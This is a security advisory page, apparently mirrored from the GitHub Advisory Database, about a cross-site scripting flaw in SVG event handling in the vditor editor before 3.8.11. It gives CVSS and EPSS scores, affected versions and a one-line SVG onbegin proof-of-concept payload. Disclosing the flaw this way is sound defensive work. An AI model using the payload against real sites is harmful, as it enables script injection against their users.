Lucene search

K
githubGitHub Advisory DatabaseGHSA-CXM3-V4MV-6MH8
HistoryJan 28, 2022 - 10:04 p.m.

vditor Vulnerable to Cross-site Scripting in SVG events

2022-01-2822:04:11
CWE-79
GitHub Advisory Database
github.com
7
vditor
cross-site scripting
svg
events
user input

CVSS2

3.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

CVSS3

5.4

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

21.4%

vditor does not filter user input in SVG events, leading to XSS

PoC

</a>
&lt;svg&gt;&lt;animate onbegin=alert(11) attributeName=x dur=1s&gt;

Affected configurations

Vulners
Node
b3logvditorRange<3.8.11
VendorProductVersionCPE
b3logvditor*cpe:2.3:a:b3log:vditor:*:*:*:*:*:*:*:*

CVSS2

3.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

CVSS3

5.4

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

21.4%

Related for GHSA-CXM3-V4MV-6MH8